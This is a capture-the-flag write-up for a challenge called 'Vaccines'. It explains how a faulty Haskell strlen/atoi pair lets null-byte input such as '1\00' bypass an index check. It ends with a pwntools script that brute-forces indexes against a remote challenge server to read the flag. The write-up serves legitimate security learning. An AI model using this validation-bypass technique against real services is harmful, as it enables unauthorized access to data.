Vaccines [Pwn]

3 minute read

Pwning faulty implementation of strlen and atoi functions in Haskell.

src src.hs

Going through the program

If you don’t know how to read Haskell, don’t worry, I don’t too…

The whole code was quite readable, and we quickly see where the flag is at.

Line 47:

    let vaccines = [Vaccine x "some random Vaccine" "03/04/2020" | x <- [0..num]] ++ [Vaccine (num+1) flag "03/04/2020"]

num is a random value from 10 to 100 (exclusive), and our flag is at index num.

Looking at the code, this is just another program with menu functions

  1. View vaccine: Give Vaccine ID (index), and it will print out the vacine ID, description, date.
  2. Edit vaccine: Give Vaccine ID (index), and you can input a new description and date for that vaccine.
  3. Exit: … no explanations needed.

So we just read the vaccine at that index? WRONG

What do you want to do?
1. View Vaccine
2. Edit Vaccine
3. Exit
1
Enter Vaccine ID:
10
Invalid Vaccine ID

There is an error upon inputting any index >= 10. We see the culprit of this annoying error:

        putStrLn "Enter Vaccine ID: "
        input <- getLine
        if (strlen input == 1 && input !! 0 /= '0') then do
            let id = atoi input
            if (id >= 0 && id < Prelude.length vaccines) then do
                printVaccine $ vaccines !! id
                loop

There are two conditions that our input must satisfy:

  1. strlen input == 1: The length of the string is 1
  2. input !! 0 /= '0': The index 0 character is not ‘0’

One last thing before we go to the solution: our input is passed into atoi to convert it from string to integer, before using it as the index to vaccines.

Solution

We see that condition 2 is already satisfied by our inputs, so we look at condition 1.

strlen :: String -> Int
strlen input = Prelude.length $ Prelude.takeWhile (/= '\0') input

We see that strlen takes a String and returns an Int, and it just takes and counts the characters until a \0 (null byte) is met, which is what we’re used to with C strings. But wait…

bamboozled
bamboozled

Which means that, an input of 1\0XXXX... will be regarded as length 1 even though it really isn’t.

atoi :: String -> Int
atoi input = do
    let input' = Prelude.filter (\x -> x >= '0' && x <= '9') input
    Prelude.read input' :: Int

Looking at atoi, we see that it just filters out for characters that are 0-9. So, if we input 1\00, it will be regarded as having length 1, and has value of integer 10. Similarly, 4\09 is 49 etc.

So, we just write a script to run through the index 10 to 100, and stop when we get the flag.

Final Script

from pwn import *

DEBUG = False

conn = process("./src") if DEBUG else remote("54.158.139.58", 1237)

def select(ind):
    conn.recvuntil(b"Exit")
    conn.recvline()
    if type(ind) == str:
        ind = ind.encode()
    conn.sendline(ind)

def chooseID(ind):
    conn.recvuntil(b"ID:")
    conn.recvline()
    if type(ind) == str:
        ind = ind.encode()
    conn.sendline(ind)

for i in range(10, 100):
    select("1")

    tens = str(i)[0].encode()
    ones = str(i)[1].encode()
    chooseID(tens + b"\x00" + ones)

    if b"Invalid" in conn.recvline():
        break

    conn.recvuntil(b": ")
    print(conn.recvline(keepends=False))

Categories:

Updated: